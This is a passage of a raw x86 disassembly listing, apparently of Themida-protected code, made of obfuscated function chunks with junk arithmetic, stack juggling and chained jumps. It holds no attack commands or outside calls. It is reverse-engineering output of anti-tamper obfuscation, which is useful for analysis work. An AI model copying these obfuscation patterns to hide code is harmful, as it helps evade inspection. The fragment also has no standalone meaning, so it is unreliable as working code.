loc_560A72: ; CODE XREF: sub_562ABA+B33Fj
sub eax, 4C356CB5h
shr eax, 6
add eax, 0FCBFEC52h
add ebp, eax
pop eax
sub esp, 4
mov [esp+16h+var_16], ebp
push [esp+16h+var_12]
pop ebp
jmp loc_568E0B
; ---------------------------------------------------------------------------
loc_560A92: ; CODE XREF: sub_562ABA+9F61j
push eax
jmp loc_56E39D
; ---------------------------------------------------------------------------
loc_560A98: ; CODE XREF: sub_562ABA+8137j
add esp, 4
jmp loc_56CC0D
; ---------------------------------------------------------------------------
loc_560AA0: ; CODE XREF: sub_562ABA+1FB3j
xor edi, eax
mov eax, [esp+16h+var_16]
add esp, 4
add ebp, 5CD1629Ch
sub ebp, 1CAA12AAh
add ebp, edi
add ebp, 1CAA12AAh
sub ebp, 5CD1629Ch
pop edi
and eax, ebp
push dword ptr [esp+0]
pop ebp
push esi
mov esi, esp
add esi, 4
jmp loc_5713F1
; ---------------------------------------------------------------------------
loc_560ADA: ; CODE XREF: sub_562ABA+2FC0j
add esp, 4
add [esp+0Eh+var_C+2], ebp
pop ebp
jmp loc_56B20F
; ---------------------------------------------------------------------------
loc_560AE7: ; CODE XREF: sub_562ABA+9B01j
sub ebx, 5F7927B8h
push eax
mov eax, 19C122F2h
or eax, 6F7D5BA1h
and eax, 60684B48h
sub eax, 7F7A58C8h
add eax, 82AE1378h
add ebx, 7964599Dh
add ebx, eax
sub ebx, 7964599Dh
mov eax, [esp+0]
add esp, 4
push esi
mov esi, 5E1074Ah
shr esi, 7
neg esi
jmp loc_56C929
; ---------------------------------------------------------------------------
loc_560B2E: ; CODE XREF: sub_562ABA+DD14j
add eax, ebx
pop ebx
add ecx, 691336DDh
sub ecx, eax
sub ecx, 691336DDh
push [esp+0Ah+var_C+2]
pop eax
jmp loc_563EEF
; ---------------------------------------------------------------------------
loc_560B48: ; CODE XREF: sub_562ABA-1421j
mov esp, [esp+0Ah+var_C+2]
imul cx, ax
jmp loc_561BC5
; ---------------------------------------------------------------------------
loc_560B54: ; CODE XREF: sub_562ABA+FFj
pop eax
add bl, 4Ch
push small 6F77h
mov word ptr [esp+8+var_8], ax
mov ah, 0ADh
jmp loc_5694D3
; ---------------------------------------------------------------------------
loc_560B67: ; CODE XREF: sub_562ABA+AF96j
add eax, 1E180FA7h
and edx, eax
pop eax
inc edx
add edx, 373A2BDDh
sub edx, 17434386h
sub edi, edx
mov edx, [esp+4+var_4]
add esp, 4
mov eax, edi
pop edi
add ebx, eax
pop eax
push ebx
push [esp-4+arg_4]
pop ebx
pop [esp-4+arg_0]
pop esp
shl word ptr [esp-0Ch+arg_8], cl
pushf
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_560BA1 proc near ; CODE XREF: sub_562ABA+547Fj
push ebp
mov ebp, 31A6641Bh
not ebp
shr ebp, 6
xor ebp, 75876213h
add ebp, 0B1A9DDBFh
push edx
push ebp
jmp loc_563431
sub_560BA1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560BBF: ; CODE XREF: sub_562ABA+58DFj
mov eax, 30835413h
add [esp-8+arg_8], eax
mov eax, [esp-8+arg_4]
push 3B89h
mov [esp-4+arg_0], ecx
mov ecx, esp
jmp loc_55FB67
; ---------------------------------------------------------------------------
loc_560BDA: ; CODE XREF: sub_562ABA+6CEAj
push edi
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, 7B017B95h
not ebp
push esi
mov esi, 35B51A6Dh
inc esi
inc esi
inc esi
jmp loc_56B0B7
; ---------------------------------------------------------------------------
loc_560BF6: ; CODE XREF: sub_562ABA+4DA6j
pop esp
mov [esp+4+var_4], eax
jmp loc_562C90
; ---------------------------------------------------------------------------
loc_560BFF: ; CODE XREF: sub_562ABA+97D0j
mov ah, 0BBh
shr ah, 7
sub ah, 0BCh
xor ah, 0C4h
sub esp, 4
mov [esp+8+var_8], edx
mov dl, ah
mov bh, dl
mov edx, [esp+8+var_8]
add esp, 4
mov eax, [esp+4+var_4]
jmp loc_56C181
; ---------------------------------------------------------------------------
loc_560C25: ; CODE XREF: sub_562ABA+B2E0j
mov cl, al
mov bh, cl
pop ecx
mov dl, bh
pop ebx
pop eax
sub al, dl
pop edx
add al, 0DCh
jmp loc_569BBD
; ---------------------------------------------------------------------------
loc_560C38: ; CODE XREF: sub_562ABA-47EDj
sub ebp, 54032D5h
add ebp, 0EE06E162h
add eax, ebp
pop ebp
push 6187h
mov [esp+0], edi
sub esp, 4
mov [esp+2+var_4+2], esi
push ebx
mov ebx, 4175636Dh
mov esi, ebx
pop ebx
push esi
jmp loc_564765
; ---------------------------------------------------------------------------
loc_560C67: ; CODE XREF: sub_562ABA+AC90j
push [esp+6+var_8+2]
pop edi
push 540h
mov [esp+0Ah+var_C+2], ecx
jmp loc_55FBF6
; ---------------------------------------------------------------------------
loc_560C78: ; CODE XREF: sub_562ABA-4797j
add esi, 4F5F0208h
add esi, edi
push ebx
mov ebx, 1BC62CD6h
jmp loc_56FDB9
; ---------------------------------------------------------------------------
loc_560C8B: ; CODE XREF: sub_562ABA+ABF0j
and ecx, 17851A02h
sub ecx, 13E0412h
xor edx, ecx
jmp loc_569D6D
; ---------------------------------------------------------------------------
loc_560C9E: ; CODE XREF: sub_562ABA+F2D0j
add dword ptr [esp+0], 4
pop eax
add eax, 4
add eax, 4
jmp loc_561A13
; ---------------------------------------------------------------------------
loc_560CB0: ; CODE XREF: sub_562ABA+4B53j
xor ebp, 4
add edx, 4B536035h
jmp loc_567ED9
; ---------------------------------------------------------------------------
loc_560CC1: ; CODE XREF: sub_562ABA+A09Dj
add esp, 4
and ebx, edi
pop edi
or ebx, ebx
jnz loc_55FDF3
push 4332h
jmp loc_572B4B
; ---------------------------------------------------------------------------
loc_560CD9: ; CODE XREF: sub_562ABA+31j
sub ebp, 68A637B6h
add ebp, ebx
push ecx
mov ecx, 5EE73D28h
xor ecx, 36410A9Eh
jmp loc_56F542
; ---------------------------------------------------------------------------
loc_560CF2: ; CODE XREF: sub_562ABA+697Bj
add edi, 21905C6Dh
add edi, ecx
sub edi, 21905C6Dh
mov ecx, [esp-6+arg_0+2]
add esp, 4
xchg edi, [esp-0Ah+arg_4+2]
jmp loc_570808
; ---------------------------------------------------------------------------
loc_560D11: ; CODE XREF: sub_562ABA+E637j
pop esp
push 4307h
mov [esp-0Ah+arg_4+2], edx
jmp loc_56696B
; ---------------------------------------------------------------------------
loc_560D1F: ; CODE XREF: sub_562ABA+BAE8j
mov ebx, [esp-0Ah+arg_4+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp-6+arg_0+2]
jmp loc_56BF0A
; ---------------------------------------------------------------------------
loc_560D39: ; CODE XREF: sub_562ABA-2F2Bj
pop ebx
sub esp, 4
jmp loc_561C6D
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_560D42: ; DATA XREF: Themida_:0055DFA8o
push edx
jmp loc_563F66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560D48: ; CODE XREF: sub_562ABA-25C1j
add eax, edx
jmp loc_56335B
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3A25h
jmp loc_56CB86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560D5D: ; CODE XREF: sub_562ABA+126Bj
sub edi, esi
add edi, 4FA625E3h
jmp loc_5640F8
; ---------------------------------------------------------------------------
loc_560D6A: ; CODE XREF: sub_562ABA+395j
xor ebp, 0A896A85h
jmp loc_560DD5
; ---------------------------------------------------------------------------
loc_560D75: ; CODE XREF: sub_562ABA+ECD7j
mov [esp+2Ah+var_2C+2], esp
jmp loc_55E746
; ---------------------------------------------------------------------------
loc_560D7D: ; CODE XREF: sub_562ABA+501Aj
push [esp+2Ah+var_2C+2]
mov edx, [esp+0]
push ebx
jmp loc_564CEE
; ---------------------------------------------------------------------------
loc_560D89: ; CODE XREF: sub_562ABA+D4F7j
sub ebp, 339D6AC6h
jmp loc_56CC52
; ---------------------------------------------------------------------------
loc_560D94: ; CODE XREF: sub_562ABA+9936j
pop ebx
push 3F80h
mov [esp+32h+var_32], esi
mov esi, 560C2CB4h
dec esi
jmp loc_55FB21
; ---------------------------------------------------------------------------
loc_560DA8: ; CODE XREF: sub_562ABA-39AAj
add eax, 4
jmp loc_56BD71
; ---------------------------------------------------------------------------
loc_560DB0: ; CODE XREF: sub_562ABA+DD0Aj
add eax, edx
pop edx
jmp loc_5658A3
; ---------------------------------------------------------------------------
loc_560DB8: ; CODE XREF: sub_562ABA+48AFj
add esi, ebx
add esi, 62590B81h
jmp loc_56BB94
; ---------------------------------------------------------------------------
loc_560DC5: ; CODE XREF: sub_562ABA+1EDFj
sub edi, esi
mov esi, [esp+32h+var_32]
add esp, 4
jmp loc_55F63A
; ---------------------------------------------------------------------------
loc_560DD5: ; CODE XREF: sub_562ABA-1D4Aj
add ebp, 0BD676ECh
mov ebx, ebp
jmp loc_564627
; ---------------------------------------------------------------------------
loc_560DE2: ; CODE XREF: sub_562ABA-21E2j
add esp, 4
inc esi
not esi
inc esi
inc esi
sub esi, 0FFFFFFFFh
add esi, 0D2273962h
xor eax, esi
push [esp+3Eh+var_3E]
mov esi, [esp+42h+var_42]
jmp loc_56259B
; ---------------------------------------------------------------------------
loc_560E06: ; CODE XREF: sub_562ABA+B5F6j
push esp
pop ecx
push ebp
jmp loc_55FB15
; ---------------------------------------------------------------------------
loc_560E0E: ; CODE XREF: sub_562ABA+313Aj
pop edx
sub bl, 38h
jmp loc_56F428
; ---------------------------------------------------------------------------
loc_560E17: ; CODE XREF: sub_562ABA+1EA0j
push 3A7Fh
mov [esp+46h+var_46], edx
jmp loc_562D43
; ---------------------------------------------------------------------------
loc_560E24: ; CODE XREF: sub_562ABA+2EFCj
xor ch, 91h
and ch, 0EDh
jmp loc_569000
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_560E2F: ; CODE XREF: sub_55FCA5+2F6j
sub dl, 0A4h
sub dl, cl
add dl, 0A4h
jmp loc_56B7E8
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560E3C: ; CODE XREF: sub_562ABA+EBCEj
shr edx, 2
jmp loc_564849
; ---------------------------------------------------------------------------
loc_560E44: ; CODE XREF: sub_562ABA+239j
mov cl, 0D4h
add cl, 51h
not cl
sub cl, 31h
add al, cl
pop ecx
add al, ch
push dx
push ecx
mov cl, 1Ch
jmp loc_55F620
; ---------------------------------------------------------------------------
loc_560E5D: ; CODE XREF: sub_562ABA+E2B5j
mov edi, 786B3EDFh
jmp loc_565201
; ---------------------------------------------------------------------------
loc_560E67: ; CODE XREF: sub_562ABA+93C4j
mov [esp+48h+var_4A+2], ecx
mov ecx, 5D8B2C74h
jmp loc_55F6DB
; ---------------------------------------------------------------------------
loc_560E74: ; CODE XREF: sub_562ABA+6A06j
add ecx, 0A3D28F1Ah
add ebp, 397D0B14h
add ebp, ecx
jmp loc_563AE9
; ---------------------------------------------------------------------------
loc_560E87: ; CODE XREF: sub_562ABA+6193j
add edx, 0FC1390Dh
add ebx, edx
pop edx
add ebx, eax
sub ebx, 2F5D593Dh
jmp loc_55EA2E
; ---------------------------------------------------------------------------
loc_560E9D: ; CODE XREF: sub_562ABA+F91Fj
mov ecx, 775D0D0Bh
add edx, ecx
pop ecx
sub edx, 76B36C46h
jmp loc_5706A8
; ---------------------------------------------------------------------------
loc_560EB0: ; CODE XREF: sub_562ABA+5B47j
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_571012
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_560EC1 proc near ; CODE XREF: sub_562ABA-13F5j
push ebx
jmp loc_5713A8
sub_560EC1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560EC7: ; CODE XREF: sub_562ABA+273Bj
push esi
mov esi, 3F30722Bh
jmp loc_56B36E
; ---------------------------------------------------------------------------
loc_560ED2: ; CODE XREF: sub_562ABA+31E6j
mov ebp, 2B03BDDh
add ebp, 8F9E9A3h
sub ebx, ebp
pop ebp
jmp loc_56776A
; ---------------------------------------------------------------------------
loc_560EE5: ; CODE XREF: sub_562ABA+61A7j
push edx
mov edx, 4CAA7BF5h
shr edx, 4
xor edx, 3C8D53EFh
inc edx
sub edx, 3847F452h
mov eax, edx
pop edx
sub esi, 4E8F3609h
sub esi, eax
add esi, 4E8F3609h
jmp loc_567E07
; ---------------------------------------------------------------------------
loc_560F11: ; CODE XREF: sub_562ABA+3065j
mov esi, esp
push 1F71h
mov [esp+48h+var_4A+2], edi
jmp loc_565662
; ---------------------------------------------------------------------------
loc_560F20: ; CODE XREF: sub_562ABA+E204j
xor ebx, [esp+48h+var_4A+2]
jmp loc_57250D
; ---------------------------------------------------------------------------
loc_560F28: ; CODE XREF: sub_562ABA+86B7j
dec ebx
sub ebx, 38035B66h
add edx, ebx
pop ebx
add edx, 4
jmp loc_563BFB
; ---------------------------------------------------------------------------
loc_560F3A: ; CODE XREF: sub_562ABA+544Aj
pop eax
sub eax, 10D2297Dh
push ecx
push 2778h
mov [esp+48h+var_4A+2], ebx
jmp loc_566DDD
; ---------------------------------------------------------------------------
loc_560F4E: ; CODE XREF: sub_562ABA+9045j
mov ebp, 57232623h
jmp loc_56AE73
; ---------------------------------------------------------------------------
loc_560F58: ; CODE XREF: sub_562ABA-26FEj
xchg ebx, esi
not ebx
jmp loc_563809
; ---------------------------------------------------------------------------
loc_560F61: ; CODE XREF: sub_562ABA+44D5j
add esp, 4
jmp loc_568C97
; ---------------------------------------------------------------------------
loc_560F6C: ; CODE XREF: sub_562ABA+9C68j
add ebp, 4
sub ebp, 4
xchg ebp, [esp-10h+arg_C]
jmp loc_5713DB
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_560F80 proc near ; CODE XREF: sub_562ABA+2E70j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, esp
jmp loc_5645E3
sub_560F80 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560F8D: ; CODE XREF: sub_562ABA+9CF2j
mov ecx, ebx
pop ebx
jmp loc_56B15C
; ---------------------------------------------------------------------------
loc_560F95: ; CODE XREF: sub_562ABA-21DAj
mov eax, 27582F28h
sub eax, 0CF4A1050h
jmp loc_56A4FE
; ---------------------------------------------------------------------------
loc_560FA4: ; CODE XREF: sub_562ABA-1B3j
push edi
mov edi, esp
add edi, 4
jmp loc_5636A8
; ---------------------------------------------------------------------------
loc_560FB2: ; CODE XREF: sub_562ABA+A9D9j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_560FB7: ; CODE XREF: sub_562ABA-2EDBj
pop ebp
add edx, 323D23D3h
add edx, eax
sub edx, 323D23D3h
pop eax
push edx
jmp loc_564150
; ---------------------------------------------------------------------------
loc_560FCD: ; CODE XREF: sub_562ABA-3155j
push esp
pop esi
push edi
mov edi, 3A7C279Ch
neg edi
shl edi, 3
or edi, 77F143ADh
jmp loc_567E39
; ---------------------------------------------------------------------------
loc_560FE5: ; CODE XREF: sub_562ABA+71DAj
push edi
push 20DA2694h
pop edi
add edi, 646562Bh
add edi, 20E0E2D5h
push edi
jmp loc_55E7E4
; ---------------------------------------------------------------------------
loc_560FFE: ; CODE XREF: sub_562ABA-1033j
add edi, 42591528h
jmp loc_5600A7
; ---------------------------------------------------------------------------
loc_561009: ; CODE XREF: sub_562ABA+BD28j
mov dl, bh
jmp loc_566CA2
; ---------------------------------------------------------------------------
loc_561010: ; CODE XREF: sub_562ABA+3308j
add ebx, 4
add ebx, 4
xchg ebx, [esp+1Ah+var_1A]
pop esp
mov ebp, [esp+16h+var_16]
add esp, 4
push esi
mov esi, 9D91E5Dh
neg esi
not esi
jmp loc_568FD8
; ---------------------------------------------------------------------------
loc_561038: ; CODE XREF: sub_562ABA+77A3j
pop [esp+16h+var_16]
add [esp+12h+var_12], 4
mov ecx, [esp+12h+var_12]
add esp, 4
add ecx, 4
jmp loc_55E6A4
; ---------------------------------------------------------------------------
loc_561056: ; CODE XREF: sub_562ABA+5835j
mov eax, 4
add [esp+0Eh+var_C+2], eax
jmp loc_55E8B0
; ---------------------------------------------------------------------------
loc_561064: ; CODE XREF: sub_562ABA+D547j
mov [esp+0], ebx
jmp loc_5642B5
; ---------------------------------------------------------------------------
loc_56106C: ; CODE XREF: sub_562ABA+3F10j
add esp, 4
jmp loc_56A26D
; ---------------------------------------------------------------------------
loc_561074: ; CODE XREF: sub_562ABA+B5AAj
dec ecx
not ecx
jmp loc_561282
; ---------------------------------------------------------------------------
loc_56107C: ; CODE XREF: sub_562ABA-3A23j
add esp, 4
xor edx, [esp+2Ah+var_2C+2]
xor [esp+2Ah+var_2C+2], edx
jmp loc_562240
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_56108A: ; CODE XREF: Themida_:00561F83j
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, esp
push 5162h
mov [esp], esi
mov esi, 6C6D6182h
shl esi, 1
shl esi, 5
push ebp
mov ebp, 32F14414h
jmp loc_572A44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5610B3: ; CODE XREF: sub_562ABA+4F29j
add ebx, 4
add ebx, 4
xchg ebx, [esp+2Ah+var_2C+2]
pop esp
add esi, 4
push ecx
mov ecx, 4
push edi
mov edi, 0D2C6D1Fh
sub esi, edi
pop edi
add esi, ecx
add esi, 0D2C6D1Fh
jmp loc_56A0A1
; ---------------------------------------------------------------------------
loc_5610E2: ; CODE XREF: sub_562ABA+192Cj
add [esp+2Ah+var_2C+2], 4
pop esi
add esi, 4
add esi, 4
xor esi, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], esi
xor esi, [esp+26h+var_28+2]
pop esp
push edi
mov edi, esp
sub esp, 4
mov [esp+2Ah+var_2C+2], eax
mov eax, 4
add edi, eax
pop eax
push 1630h
mov [esp+2Ah+var_2C+2], esi
mov esi, 4
add edi, esi
mov esi, [esp+2Ah+var_2C+2]
add esp, 4
jmp loc_56F4BE
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_56112E proc near ; CODE XREF: sub_562ABA+8F81j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005607C8 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056131C SIZE 00000017 BYTES
push ebp
mov ebp, 344484Ah
sub edi, ebp
pop ebp
add edi, 2A1F705Ah
add edi, edx
sub edi, 2A1F705Ah
add edi, 344484Ah
jmp loc_5607C8
sub_56112E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561150: ; CODE XREF: sub_562ABA-4853j
add esp, 2
mov ecx, [esp-6+arg_0+2]
push edx
mov edx, esp
jmp sub_561832
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_561161 proc near ; CODE XREF: sub_562ABA+4EBDj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ecx
push edi
mov edi, esp
jmp loc_566479
sub_561161 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56116F: ; CODE XREF: sub_562ABA+A834j
pop esp
test cl, al
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_561178: ; CODE XREF: sub_562ABA+5D34j
add esp, 4
push 4FB5h
mov [esp+0], eax
push ebx
mov bl, ch
mov al, bl
pop ebx
push ecx
sub esp, 4
mov [esp+6+var_8+2], ebx
mov bh, al
mov ch, bh
jmp loc_5718C0
; ---------------------------------------------------------------------------
loc_56119C: ; CODE XREF: sub_562ABA+CD5Dj
mov esp, [esp+6+var_8+2]
movsx cx, al
push small 92Ch
jmp loc_5671DA
; ---------------------------------------------------------------------------
loc_5611AC: ; CODE XREF: sub_562ABA-AC5j
push eax
mov eax, 46811A21h
shl eax, 4
xor eax, 6811A214h
add edi, eax
pop eax
jmp loc_56436B
; ---------------------------------------------------------------------------
loc_5611C2: ; CODE XREF: sub_562ABA+26D5j
mov ebp, [esp+8+var_8]
add esp, 4
xor esi, 91360Bh
jmp loc_56713B
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_5611D3 proc near ; CODE XREF: sub_562ABA-3A7Dj
push ebp
mov ebp, 51700A54h
push edx
push 1F5C2EDAh
pop edx
or edx, 4D9E6FC8h
shl edx, 6
jmp loc_5681DF
sub_5611D3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5611EE: ; CODE XREF: sub_562ABA+A78j
sub esi, 6CCB13DFh
jmp loc_560A0F
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_5611F9: ; CODE XREF: sub_55FCA5+30Ej
mov eax, 59D129A6h
sub eax, 7AE845F1h
xor eax, 0A161B85Dh
and ebx, eax
mov eax, [esp+4+var_4]
add esp, 4
push eax
mov eax, 63135E4Bh
and ebx, eax
pop eax
jmp loc_55E7AD
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56121E: ; CODE XREF: sub_562ABA+262Bj
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
xor edi, [esp+4+var_4]
jmp loc_567CC9
; ---------------------------------------------------------------------------
loc_56122C: ; CODE XREF: sub_562ABA+1365j
pop ebx
push ax
mov ah, bh
mov bh, dl
mov dl, ah
pop ax
jmp loc_56865C
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_56123C: ; CODE XREF: Themida_:00571CD3j
jmp loc_55E09F
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_570F83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561249: ; CODE XREF: sub_562ABA+A5EAj
mov eax, [esp+0]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
sub ebx, 4
jmp loc_572AAF
; ---------------------------------------------------------------------------
loc_56126A: ; CODE XREF: sub_562ABA+E301j
or ebx, edi
pop edi
jmp loc_572C3F
; ---------------------------------------------------------------------------
loc_561272: ; CODE XREF: sub_562ABA+4EB4j
sub ecx, edi
pop edi
sub edx, ecx
push [esp-8+arg_4]
mov ecx, [esp-4+arg_0]
jmp loc_56F33F
; ---------------------------------------------------------------------------
loc_561282: ; CODE XREF: sub_562ABA-1A43j
push edx
mov edx, 197A6F4Dh
add edx, 1B9457C2h
shl edx, 4
shr edx, 7
not edx
neg edx
xor edx, 2247EAE0h
add ecx, edx
mov edx, [esp+0]
add esp, 4
dec ecx
add ecx, 0F67BB51Bh
sub edi, ecx
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
add ebx, edi
push [esp+6+var_8+2]
pop edi
add esp, 4
add ebx, 4
jmp loc_55F2F7
; ---------------------------------------------------------------------------
loc_5612CF: ; CODE XREF: sub_562ABA-333j
xor edi, 20A45A71h
add edx, 74033069h
sub edx, edi
sub edx, 74033069h
pop edi
add edx, ebp
add edx, 6BB56AFFh
mov ebp, [esp+0]
push 2EFh
mov [esp+2+var_4+2], eax
jmp loc_5686DE
; ---------------------------------------------------------------------------
loc_5612FC: ; CODE XREF: sub_562ABA+6F0Dj
mov edx, eax
pop eax
xor edx, ecx
pop ecx
add ecx, edx
mov edx, [esp-6+arg_0+2]
jmp loc_563E5E
; ---------------------------------------------------------------------------
loc_56130C: ; CODE XREF: sub_562ABA+F244j
sub dh, 0E7h
sub bl, dh
pop edx
push ax
push edx
mov dl, 6Dh
jmp loc_56A4D6
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56112E
loc_56131C: ; CODE XREF: sub_56112E-93Ej
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
div cl
movzx cx, ah
push ebp
jmp loc_56963D
; END OF FUNCTION CHUNK FOR sub_56112E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_561333: ; CODE XREF: sub_562ABA+F1C5j
pop ebp
push esi
mov esi, 4
jmp loc_57194C
; ---------------------------------------------------------------------------
loc_56133F: ; CODE XREF: sub_562ABA+E166j
add esi, ebp
push ecx
mov ecx, 4CDC22FBh
add esi, ecx
mov ecx, [esp+0]
add esp, 4
jmp loc_563980
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3BACh
mov [esp], ebp
sub esp, 4
mov [esp], edx
mov edx, esp
push ebp
mov ebp, 4C600B10h
sub ebp, 0DEA1FDAh
add ebp, 15BD1022h
add ebp, 0ABCD04ACh
add edx, ebp
pop ebp
push edi
jmp loc_5644D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56138C: ; CODE XREF: sub_562ABA+AB32j
pop esi
add ebx, edi
add ebx, 1FA0622Ch
mov edi, [esp-8+arg_4]
push 7199h
mov [esp-4+arg_0], ebx
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
add ebx, esi
pop esi
xor ebx, [esp-4+arg_0]
jmp loc_567C7A
; ---------------------------------------------------------------------------
loc_5613B9: ; CODE XREF: sub_562ABA+E9DBj
mov [esp-4+arg_0], edi
pop edx
pop edi
jmp loc_569CD9
; ---------------------------------------------------------------------------
loc_5613C3: ; CODE XREF: sub_562ABA+5235j
mov ebp, 6EA317A2h
or ebx, ebp
pop ebp
jmp loc_565872
; ---------------------------------------------------------------------------
loc_5613D0: ; CODE XREF: sub_562ABA+DB9j
mov eax, 2AF51CD3h
jmp loc_5726A0
; ---------------------------------------------------------------------------
loc_5613DA: ; CODE XREF: sub_562ABA+D394j
add esp, 4
pop [esp-14h+arg_10]
jmp loc_55E427
; ---------------------------------------------------------------------------
loc_5613E5: ; CODE XREF: sub_562ABA+38DEj
mov ebp, eax
mov ebx, ebp
mov ebp, [esp-18h+arg_14]
push 4B2Ch
mov [esp-14h+arg_10], ecx
push esp
pop ecx
push ebx
mov ebx, 4
sub ecx, 6F945932h
add ecx, ebx
push edi
mov edi, 62D6452Bh
sub edi, 6E0E3BCEh
push ecx
mov ecx, 739961E3h
shr ecx, 7
jmp loc_5666D6
; ---------------------------------------------------------------------------
loc_56141E: ; CODE XREF: sub_562ABA+4Cj
mov edi, [esp-8+arg_4]
add esp, 4
not edi
push esi
jmp loc_563660
; ---------------------------------------------------------------------------
loc_56142F: ; CODE XREF: sub_562ABA+FBC7j
push eax
mov eax, esp
push 5306h
jmp loc_55EA13
; ---------------------------------------------------------------------------
loc_56143C: ; CODE XREF: sub_562ABA-33E4j
pop esp
push [esp+2+var_4+2]
pop eax
push 1FB5h
mov [esp+6+var_8+2], esi
push esp
pop esi
push 3B35h
mov [esp+0Ah+var_C+2], ebx
mov ebx, 61D65362h
sub esp, 4
jmp loc_56DAE7
; ---------------------------------------------------------------------------
loc_561463: ; CODE XREF: sub_562ABA+25C1j
xor edi, 1A08316Ah
pop ecx
add edi, 0E3BB6781h
xor ecx, edi
mov edi, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_56AA76
; ---------------------------------------------------------------------------
loc_561480: ; CODE XREF: sub_562ABA+442Dj
add esp, 4
mov esi, [esp+2+var_4+2]
add esp, 4
add ebx, eax
sub ebx, 532402E3h
xor edx, eax
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_561498: ; CODE XREF: Themida_:005622D8j
pop small word ptr [esp]
jmp loc_56B32F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5614A1: ; CODE XREF: sub_562ABA+E342j
mov dl, 0B7h
sub dl, ch
mov ecx, [esp+0]
jmp loc_5709C2
; ---------------------------------------------------------------------------
loc_5614AD: ; CODE XREF: sub_562ABA+B42Aj
add esi, edx
pop edx
push 712Fh
mov [esp+0], ecx
mov ecx, 4
sub esi, 74A36632h
add esi, 2D29169Dh
add esi, ecx
jmp loc_571CEB
; ---------------------------------------------------------------------------
loc_5614D0: ; CODE XREF: sub_562ABA+D90j
neg edi
xor edi, 0F08788D6h
jmp loc_5703AD
; ---------------------------------------------------------------------------
loc_5614DD: ; CODE XREF: sub_562ABA+CE3j
add esp, 4
jmp loc_5648EC
; ---------------------------------------------------------------------------
loc_5614E8: ; CODE XREF: sub_562ABA+8817j
mov edi, 53D978C5h
or edi, 3A011889h
sub edi, 3D866F39h
sub ebx, edi
pop edi
jmp loc_56738B
; ---------------------------------------------------------------------------
loc_561501: ; CODE XREF: sub_562ABA+7A75j
push edx
not [esp-6+arg_0+2]
mov edx, [esp-6+arg_0+2]
add esp, 4
shl edx, 4
not edx
dec edx
xor edx, 0AB2A136h
shr edx, 2
shr edx, 5
jmp loc_569016
; ---------------------------------------------------------------------------
loc_561525: ; CODE XREF: sub_562ABA+CD93j
mov edx, [esp-0Ah+arg_4+2]
add esp, 4
add edi, 2
sub esp, 4
mov [esp-0Ah+arg_4+2], edi
push [esp-0Ah+arg_8+2]
push [esp-6+arg_0+2]
pop edi
add esp, 4
